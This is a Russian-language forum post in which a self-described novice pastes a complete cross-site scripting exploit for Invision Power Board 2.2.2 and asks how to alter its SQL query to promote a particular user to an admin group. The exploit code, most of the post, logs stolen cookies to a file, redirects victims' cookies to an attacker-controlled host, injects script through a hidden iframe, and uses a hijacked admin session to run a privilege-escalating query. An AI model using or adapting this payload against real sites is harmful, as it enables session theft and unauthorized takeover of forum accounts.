Вопрос ламмера по сплойту Ipb222
Invision Power Board 2.2.2 Cross Site Scripting vulnerability
Код:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Invision Power Board 2.2.2 Cross Site Scripting vulnerability
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Vendor site: http://www.invisionboard.com/
# Vulnerability found by Iron (ironwarez.info)
#
# Greets to all **** Security Group members
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# The vulnerability:
# Open up any php file in /jscripts/folder_rte_files
# See:
var editor_id = <?php print '"'.trim($_REQUEST['editorid']).'";'; ?>
#
# $_REQUEST['editorid'] isn't sanitized in any way, so allows
# other uses to execute their own code.
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# PoC (Log cookies & run SQL query)
#
# Requirements: server supporting PHP, user account on
# target forum, database prefix needs to be known.
#
# Create a file called name.php on your webserver and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
<?php
$target = "http://www.yourtarget.com/forum"; #Target forum without trailing slash
$prefix = "ibf_"; #Database prefix, default: ibf_
$member = 22; #Member id to promote
$newgroup = 4; # The id of the new group to promote, normally 4 is root admin
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET['c'];
$time = date("Y-m-d G:i:s A");
$text = "Time: ".$time."\nIP:".$ip."\nReferer:".$referer."\nUser-Agent:".$agent."\nCookie:".$data."\n\n";
$file = fopen('log.txt' , 'a');
fwrite($file,$text);
fclose($file);
if(preg_match("/ipb_admin_session_id=([0-9a-z]{32});/",$data,$stuff))
{
print '<img width=0 height=0 src="'.$target.'/admin/index.php?adsess='.$stuff[1].'&act=sql&code=runsql§ion=admin&query=UPDATE+
'.$prefix.'members+SET
+mgroup+%3D+%27'.$newgroup.'%27+WHERE+id+%3D+%27'. $member.'%27&st="></>';
}
?>
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Also create a file in the same directory named "log.txt" and chmod it 777
#
# Now, create a file called script.js on your webserver, put this code in it:
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
document.location="http://www.yourownsite.com/path/to/file/name.php?c="+document.cookie;
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# And, last but not least, create a file that combines those two;)
# Name it blah.html and put this code in it:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
<iframe border=0 src="http://www.targetforum.com/forum_folder/jscripts/folder_rte_files/module_table.php?editorid=//--></
script><script src=http://www.yourownsite.com/path/to/file/script.js>" width=0 height=0></iframe>
Насколько я понял, этим сплойтом можно выполнять скуль команды, при просмотре страницы жертвой.
Так-вот я хотел-бы узнать как тут изменить скуль команду, чтоб изменить группу юзера(id=1483) с 3 на 4.
Спасибо |
